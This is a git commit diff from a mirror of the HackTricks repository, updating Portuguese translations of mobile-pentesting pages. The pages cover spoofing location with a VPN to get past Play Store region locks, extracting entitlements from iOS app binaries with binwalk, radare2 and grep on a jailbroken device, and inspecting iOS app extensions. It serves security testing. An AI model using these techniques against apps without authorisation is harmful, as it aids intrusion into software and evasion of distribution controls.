mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 05:33:33 +00:00
Translated ['mobile-pentesting/android-app-pentesting/spoofing-your-loca
This commit is contained in:
parent
429d1f73c2
commit
5893b1f5e0
14 changed files with 1098 additions and 805 deletions
|
@ -1,10 +1,42 @@
|
|||
Muitas vezes você já deve ter visto que um aplicativo que você deseja avaliar só está disponível em países selecionados, então, nesse caso, você não poderá instalá-lo em seu dispositivo Android. Mas se você puder falsificar sua localização para o país em que o aplicativo é permitido, poderá ter acesso a ele. Abaixo está o procedimento para fazer isso.
|
||||
<details>
|
||||
|
||||
* Primeiro, instale o **Hotspot Shield Free VPN Proxy** na Google Play Store.\
|
||||
![](https://i.imgur.com/0XrmuKY.png)
|
||||
* Agora, conecte-se usando-o e escolha o país desejado.\
|
||||
![](https://i.imgur.com/Z0WHrZX.png)
|
||||
* Agora vá para **Configurações** >> **Aplicativos** >> **Google Play Store** e toque em **Forçar parada** e depois em **Limpar dados**.\
|
||||
![](https://i.imgur.com/sjFrr67.png)
|
||||
* Abra a **Google Play Store** e agora você poderá pesquisar e instalar o aplicativo que está disponível apenas naquele país.\
|
||||
![](https://i.imgur.com/zfdhCBI.png)
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**Informação copiada de** [**https://manifestsecurity.com/android-application-security-part-23/**](https://manifestsecurity.com/android-application-security-part-23/)
|
||||
|
||||
Muitas vezes você viu que a aplicação que deseja avaliar só é permitida em países selecionados, então nesse caso você não conseguirá instalar essa aplicação no seu dispositivo Android. Mas se você conseguir falsificar sua localização para o país em que a aplicação é permitida, então você poderá ter acesso a essa aplicação. Abaixo está o procedimento para o mesmo.
|
||||
|
||||
* Primeiro instale o **Hotspot Shield Free VPN Proxy** da Google Play Store.\
|
||||
![](https://i.imgur.com/0XrmuKY.png)
|
||||
* Agora conecte-se usando-o e escolha o país desejado.\
|
||||
![](https://i.imgur.com/Z0WHrZX.png)
|
||||
* Agora vá para **Configurações** >> **Aplicativos** >> **Google Play Store** e então toque em **Forçar Parada** e depois em **Limpar Dados**.\
|
||||
![](https://i.imgur.com/sjFrr67.png)
|
||||
* Abra a **Google Play Store** e agora você poderá pesquisar e instalar a aplicação que está disponível apenas naquele país.\
|
||||
![](https://i.imgur.com/zfdhCBI.png)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,29 +1,27 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**Página copiada de** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links)
|
||||
|
||||
Se você só tem o IPA do aplicativo ou simplesmente o aplicativo instalado em um dispositivo com jailbreak, normalmente não poderá encontrar arquivos `.entitlements`. Isso também pode ser o caso do arquivo `embedded.mobileprovision`. Ainda assim, você deve ser capaz de extrair as listas de propriedades de direitos do aplicativo binário (que você obteve anteriormente, conforme explicado no capítulo "Teste de segurança básica do iOS", seção "Obtendo o binário do aplicativo").
|
||||
Se você só tem o IPA do aplicativo ou simplesmente o aplicativo instalado em um dispositivo com jailbreak, normalmente não será possível encontrar arquivos `.entitlements`. Isso também pode acontecer com o arquivo `embedded.mobileprovision`. Ainda assim, você deve ser capaz de extrair as listas de propriedades de entitlements do binário do aplicativo por conta própria (o qual você obteve anteriormente, conforme explicado no capítulo "iOS Basic Security Testing", seção "Acquiring the App Binary").
|
||||
|
||||
As seguintes etapas devem funcionar mesmo ao direcionar um binário criptografado. Se, por algum motivo, eles não funcionarem, você terá que descriptografar e extrair o aplicativo com, por exemplo, Clutch (se compatível com sua versão do iOS), frida-ios-dump ou similar.
|
||||
Os seguintes passos devem funcionar mesmo quando direcionados a um binário criptografado. Se por algum motivo não funcionarem, você terá que descriptografar e extrair o aplicativo com, por exemplo, Clutch (se compatível com sua versão do iOS), frida-ios-dump ou similar.
|
||||
|
||||
**Extraindo a lista de propriedades de direitos do aplicativo binário**
|
||||
**Extraindo a Lista de Entitlements Plist do Binário do Aplicativo**
|
||||
|
||||
Se você tiver o binário do aplicativo em seu computador, uma abordagem é usar o binwalk para extrair (`-e`) todos os arquivos XML (`-y=xml`):
|
||||
Se você tem o binário do aplicativo em seu computador, uma abordagem é usar o binwalk para extrair (`-e`) todos os arquivos XML (`-y=xml`):
|
||||
```bash
|
||||
$ binwalk -e -y=xml ./Telegram\ X
|
||||
|
||||
|
@ -32,7 +30,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
|
|||
1430180 0x15D2A4 XML document, version: "1.0"
|
||||
1458814 0x16427E XML document, version: "1.0"
|
||||
```
|
||||
Ou você pode usar o radare2 (`-qc` para executar silenciosamente um comando e sair) para pesquisar todas as strings no binário do aplicativo (`izz`) contendo "PropertyList" (`~PropertyList`):
|
||||
Ou você pode usar o radare2 (`-qc` para executar um comando _silenciosamente_ e sair) para procurar todas as strings no binário do app (`izz`) que contenham "PropertyList" (`~PropertyList`):
|
||||
```bash
|
||||
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
|
||||
|
||||
|
@ -45,22 +43,36 @@ $ r2 -qc 'izz~PropertyList' ./Telegram\ X
|
|||
"-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n<plist version="1.0">\n
|
||||
<dict>\n\t<key>cdhashes</key>...
|
||||
```
|
||||
Em ambos os casos (binwalk ou radare2), conseguimos extrair os mesmos dois arquivos `plist`. Se inspecionarmos o primeiro (0x0015d2a4), veremos que conseguimos recuperar completamente o [arquivo de direitos originais do Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
|
||||
Nos dois casos (binwalk ou radare2), conseguimos extrair os mesmos dois arquivos `plist`. Se inspecionarmos o primeiro (0x0015d2a4), veremos que conseguimos recuperar completamente o [arquivo de entitlements original do Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
|
||||
|
||||
> Nota: o comando `strings` não ajudará aqui, pois não será capaz de encontrar essas informações. É melhor usar o grep com a opção `-a` diretamente no binário ou usar o radare2 (`izz`)/rabin2 (`-zz`).
|
||||
> Nota: o comando `strings` não ajudará aqui, pois não será capaz de encontrar essa informação. Melhor usar grep com a flag `-a` diretamente no binário ou usar radare2 (`izz`)/rabin2 (`-zz`).
|
||||
|
||||
Se você acessar o binário do aplicativo no dispositivo com jailbreak (por exemplo, via SSH), pode usar o grep com a opção `-a, --text` (trata todos os arquivos como texto ASCII):
|
||||
Se você acessar o binário do aplicativo em um dispositivo com jailbreak (por exemplo, via SSH), você pode usar grep com a flag `-a, --text` (trata todos os arquivos como texto ASCII):
|
||||
```bash
|
||||
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/
|
||||
15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/Telegram X.app/Telegram\ X
|
||||
15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/Telegram X.app/Telegram\ X
|
||||
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>com.apple.security.application-groups</key>
|
||||
<array>
|
||||
...
|
||||
<dict>
|
||||
<key>com.apple.security.application-groups</key>
|
||||
<array>
|
||||
...
|
||||
```
|
||||
Brinque com a flag `-A num, --after-context=num` para exibir mais ou menos linhas. Você também pode usar ferramentas como as que apresentamos acima, se tiverem sido instaladas em seu dispositivo iOS com jailbreak.
|
||||
Brinque com a flag `-A num, --after-context=num` para exibir mais ou menos linhas. Você também pode usar ferramentas como as que apresentamos acima, se também as tiver instalado em seu dispositivo iOS com jailbreak.
|
||||
|
||||
> Este método deve funcionar mesmo se o binário do aplicativo ainda estiver criptografado (foi testado em vários aplicativos da App Store).
|
||||
> Este método deve funcionar mesmo que o binário do aplicativo ainda esteja criptografado (foi testado contra vários aplicativos da App Store).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,58 +1,58 @@
|
|||
# Extensões de aplicativos iOS
|
||||
# Extensões de Aplicativos iOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
|
||||
</details>
|
||||
|
||||
As extensões de aplicativos permitem que os aplicativos ofereçam funcionalidades e conteúdo personalizados aos usuários enquanto eles estão interagindo com outros aplicativos ou com o sistema. Algumas notáveis são:
|
||||
**Conteúdo copiado de** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions)
|
||||
|
||||
* **Teclado personalizado**: substitui o teclado do sistema iOS por um teclado personalizado para uso em todos os aplicativos.
|
||||
* **Compartilhar**: postar em um site de compartilhamento ou compartilhar conteúdo com outras pessoas.
|
||||
* **Hoje**: também chamados de **widgets**, eles oferecem conteúdo ou realizam tarefas rápidas na visualização Hoje do Centro de Notificações.
|
||||
As extensões de aplicativos permitem que os apps ofereçam funcionalidades e conteúdos personalizados aos usuários enquanto eles interagem com outros aplicativos ou o sistema. Algumas notáveis incluem:
|
||||
|
||||
Por exemplo, o usuário seleciona texto no _aplicativo hospedeiro_, clica no botão "Compartilhar" e seleciona um "aplicativo" ou ação da lista. Isso aciona a _extensão de aplicativo_ do _aplicativo contido_. A extensão do aplicativo exibe sua visualização dentro do contexto do aplicativo hospedeiro e usa os itens fornecidos pelo aplicativo hospedeiro, o texto selecionado neste caso, para realizar uma tarefa específica (postá-lo em uma rede social, por exemplo). Veja esta imagem do [Guia de Programação de Extensões de Aplicativos da Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionOverview.html#//apple\_ref/doc/uid/TP40014214-CH2-SW13) que resume muito bem isso:
|
||||
* **Teclado Personalizado**: substitui o teclado do sistema iOS por um teclado personalizado para uso em todos os aplicativos.
|
||||
* **Compartilhar**: publicar em um site de compartilhamento ou compartilhar conteúdo com outros.
|
||||
* **Hoje**: também chamados de **widgets**, oferecem conteúdo ou realizam tarefas rápidas na visualização de Hoje do Centro de Notificações.
|
||||
|
||||
![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQx9khfTwUwYuMti%2Fapp\_extensions\_communication.png?alt=media)
|
||||
Por exemplo, o usuário seleciona texto no _aplicativo hospedeiro_, clica no botão "Compartilhar" e seleciona um "aplicativo" ou ação da lista. Isso aciona a _extensão do aplicativo_ do _aplicativo contenedor_. A extensão do aplicativo exibe sua visualização dentro do contexto do aplicativo hospedeiro e usa os itens fornecidos pelo aplicativo hospedeiro, o texto selecionado neste caso, para realizar uma tarefa específica (postá-lo em uma rede social, por exemplo). Veja esta imagem do [Guia de Programação de Extensões de Aplicativos da Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionOverview.html#//apple_ref/doc/uid/TP40014214-CH2-SW13) que resume muito bem isso:
|
||||
|
||||
### **Considerações de segurança**
|
||||
![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQx9khfTwUwYuMti%2Fapp_extensions_communication.png?alt=media)
|
||||
|
||||
Do ponto de vista de segurança, é importante observar que:
|
||||
### **Considerações de Segurança**
|
||||
|
||||
* Uma **extensão de aplicativo nunca se comunica diretamente com seu aplicativo contido** (geralmente, nem mesmo está em execução enquanto a extensão de aplicativo contida está em execução).
|
||||
* Uma **extensão de aplicativo** e o **aplicativo hospedeiro se comunicam** por meio de **comunicação interprocessual**.
|
||||
* O aplicativo contido da **extensão de aplicativo** e o **aplicativo hospedeiro não se comunicam** de forma alguma.
|
||||
* Um **widget Hoje** (e nenhum outro tipo de extensão de aplicativo) pode solicitar ao sistema que abra seu aplicativo contido chamando o método `openURL:completionHandler:` da classe `NSExtensionContext`.
|
||||
* Qualquer **extensão de aplicativo** e seu **aplicativo contido** podem **acessar dados compartilhados em um contêiner compartilhado definido privadamente**.
|
||||
* As extensões de aplicativos **não podem acessar algumas APIs**, por exemplo, HealthKit.
|
||||
* Eles **não podem receber dados usando o AirDrop**, mas podem enviar dados.
|
||||
* **Nenhuma tarefa de segundo plano de longa duração** é permitida, mas uploads ou downloads podem ser iniciados.
|
||||
* As extensões de aplicativos **não podem acessar a câmera ou o microfone em um dispositivo iOS** (exceto as extensões de aplicativos do iMessage).
|
||||
Do ponto de vista da segurança, é importante notar que:
|
||||
|
||||
### Análise estática
|
||||
* Uma **extensão de aplicativo nunca se comunica diretamente com seu aplicativo contenedor** (tipicamente, nem está em execução enquanto a extensão do aplicativo contida está em execução).
|
||||
* Uma **extensão de aplicativo** e o **aplicativo hospedeiro** **comunicam-se** via **comunicação entre processos**.
|
||||
* Um **aplicativo contenedor** de uma **extensão de aplicativo** e o **aplicativo hospedeiro não se comunicam** de forma alguma.
|
||||
* Um **widget Hoje** (e nenhum outro tipo de extensão de aplicativo) pode pedir ao sistema para abrir seu aplicativo contenedor chamando o método `openURL:completionHandler:` da classe `NSExtensionContext`.
|
||||
* Qualquer **extensão de aplicativo** e seu **aplicativo contenedor** podem **acessar dados compartilhados em um contêiner compartilhado privadamente** definido.
|
||||
* Extensões de aplicativos **não podem acessar algumas APIs**, por exemplo, HealthKit.
|
||||
* Elas **não podem receber dados usando AirDrop**, mas podem enviar dados.
|
||||
* **Não são permitidas tarefas de fundo de longa duração**, mas podem ser iniciados uploads ou downloads.
|
||||
* Extensões de aplicativos **não podem acessar a câmera ou o microfone em um dispositivo iOS** (exceto para extensões de aplicativos iMessage).
|
||||
|
||||
#### **Verificando se o aplicativo contém extensões de aplicativos**
|
||||
### Análise Estática
|
||||
|
||||
Se você tiver o código-fonte original, poderá pesquisar todas as ocorrências de `NSExtensionPointIdentifier` com o Xcode (cmd+shift+f) ou dar uma olhada em "Build Phases / Embed App extensions":
|
||||
#### **Verificando se o Aplicativo Contém Extensões de Aplicativos**
|
||||
|
||||
Se você tem o código-fonte original, pode procurar por todas as ocorrências de `NSExtensionPointIdentifier` com o Xcode (cmd+shift+f) ou dar uma olhada em "Build Phases / Embed App extensions":
|
||||
|
||||
![](<../../.gitbook/assets/image (496).png>)
|
||||
|
||||
Lá você pode encontrar os nomes de todas as extensões de aplicativos incorporadas seguidas por `.appex`, agora você pode navegar até as extensões de aplicativos individuais no projeto.
|
||||
Lá você pode encontrar os nomes de todas as extensões de aplicativos embutidas seguidas por `.appex`, agora você pode navegar até as extensões de aplicativos individuais no projeto.
|
||||
|
||||
Se não tiver o código-fonte original:
|
||||
|
||||
Procure por `NSExtensionPointIdentifier` entre todos os arquivos dentro do pacote do aplicativo (IPA ou aplicativo instalado):
|
||||
Grep por `NSExtensionPointIdentifier` entre todos os arquivos dentro do pacote do aplicativo (IPA ou aplicativo instalado):
|
||||
```bash
|
||||
$ grep -nr NSExtensionPointIdentifier Payload/Telegram\ X.app/
|
||||
Binary file Payload/Telegram X.app//PlugIns/SiriIntents.appex/Info.plist matches
|
||||
|
@ -61,11 +61,11 @@ Binary file Payload/Telegram X.app//PlugIns/NotificationContent.appex/Info.plist
|
|||
Binary file Payload/Telegram X.app//PlugIns/Widget.appex/Info.plist matches
|
||||
Binary file Payload/Telegram X.app//Watch/Watch.app/PlugIns/Watch Extension.appex/Info.plist matches
|
||||
```
|
||||
Você também pode acessar via SSH, encontrar o pacote do aplicativo e listar todos os PlugIns internos (que são colocados lá por padrão) ou fazer isso com o Objection:
|
||||
Você também pode acessar via SSH, encontrar o pacote do aplicativo e listar todos os PlugIns internos (eles são colocados lá por padrão) ou fazer isso com objection:
|
||||
```bash
|
||||
ph.telegra.Telegraph on (iPhone: 11.1.2) [usb] # cd PlugIns
|
||||
/var/containers/Bundle/Application/15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/
|
||||
Telegram X.app/PlugIns
|
||||
/var/containers/Bundle/Application/15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/
|
||||
Telegram X.app/PlugIns
|
||||
|
||||
ph.telegra.Telegraph on (iPhone: 11.1.2) [usb] # ls
|
||||
NSFileType Perms NSFileProtection Read Write Name
|
||||
|
@ -75,36 +75,34 @@ Directory 493 None True False Widget.appex
|
|||
Directory 493 None True False Share.appex
|
||||
Directory 493 None True False SiriIntents.appex
|
||||
```
|
||||
Agora podemos ver as mesmas quatro extensões de aplicativos que vimos no Xcode antes.
|
||||
#### **Determinando os Tipos de Dados Suportados**
|
||||
|
||||
#### **Determinando os tipos de dados suportados**
|
||||
Isso é importante para dados sendo compartilhados com aplicativos hospedeiros (por exemplo, via Extensões de Compartilhamento ou Ação). Quando o usuário seleciona algum tipo de dado em um aplicativo hospedeiro e ele corresponde aos tipos de dados definidos aqui, o aplicativo hospedeiro oferecerá a extensão. Vale a pena notar a diferença entre isso e o compartilhamento de dados via `UIActivity`, onde tivemos que definir os tipos de documentos, também usando UTIs. Um aplicativo não precisa ter uma extensão para isso. É possível compartilhar dados usando apenas `UIActivity`.
|
||||
|
||||
Isso é importante para os dados que são compartilhados com aplicativos hospedeiros (por exemplo, por meio de extensões de compartilhamento ou de ação). Quando o usuário seleciona algum tipo de dado em um aplicativo hospedeiro e ele corresponde aos tipos de dados definidos aqui, o aplicativo hospedeiro oferecerá a extensão. Vale ressaltar a diferença entre isso e o compartilhamento de dados via `UIActivity`, onde tivemos que definir os tipos de documentos, também usando UTIs. Um aplicativo não precisa ter uma extensão para isso. É possível compartilhar dados usando apenas `UIActivity`.
|
||||
|
||||
Inspecione o arquivo `Info.plist` da extensão do aplicativo e procure por `NSExtensionActivationRule`. Essa chave especifica os dados que são suportados, bem como o máximo de itens suportados, por exemplo:
|
||||
Inspecione o arquivo `Info.plist` da extensão do aplicativo e procure por `NSExtensionActivationRule`. Essa chave especifica os dados sendo suportados, bem como, por exemplo, o máximo de itens suportados. Por exemplo:
|
||||
```markup
|
||||
<key>NSExtensionAttributes</key>
|
||||
<dict>
|
||||
<key>NSExtensionActivationRule</key>
|
||||
<dict>
|
||||
<key>NSExtensionActivationSupportsImageWithMaxCount</key>
|
||||
<integer>10</integer>
|
||||
<key>NSExtensionActivationSupportsMovieWithMaxCount</key>
|
||||
<integer>1</integer>
|
||||
<key>NSExtensionActivationSupportsWebURLWithMaxCount</key>
|
||||
<integer>1</integer>
|
||||
</dict>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>NSExtensionActivationRule</key>
|
||||
<dict>
|
||||
<key>NSExtensionActivationSupportsImageWithMaxCount</key>
|
||||
<integer>10</integer>
|
||||
<key>NSExtensionActivationSupportsMovieWithMaxCount</key>
|
||||
<integer>1</integer>
|
||||
<key>NSExtensionActivationSupportsWebURLWithMaxCount</key>
|
||||
<integer>1</integer>
|
||||
</dict>
|
||||
</dict>
|
||||
```
|
||||
Apenas os tipos de dados presentes aqui e que não têm `0` como `MaxCount` serão suportados. No entanto, é possível fazer filtragens mais complexas usando uma string de predicado, que avaliará os UTIs fornecidos. Consulte o [Guia de Programação de Extensões de Aplicativos da Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple_ref/doc/uid/TP40014214-CH21-SW8) para obter informações mais detalhadas sobre isso.
|
||||
Apenas os tipos de dados presentes aqui e que não têm `0` como `MaxCount` serão suportados. No entanto, é possível um filtro mais complexo usando uma chamada string de predicado que avaliará os UTIs dados. Por favor, consulte o [Guia de Programação de Extensões de Aplicativos da Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple_ref/doc/uid/TP40014214-CH21-SW8) para mais informações detalhadas sobre isso.
|
||||
|
||||
**Verificando o Compartilhamento de Dados com o Aplicativo Contenedor**
|
||||
|
||||
Lembre-se de que as extensões de aplicativos e seus aplicativos contenedores não têm acesso direto aos contêineres um do outro. No entanto, o compartilhamento de dados pode ser habilitado. Isso é feito por meio de ["Grupos de Aplicativos"](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/EntitlementKeyReference/Chapters/EnablingAppSandbox.html#//apple_ref/doc/uid/TP40011195-CH4-SW19) e da API [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults). Veja esta figura do [Guia de Programação de Extensões de Aplicativos da Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple_ref/doc/uid/TP40014214-CH21-SW11):
|
||||
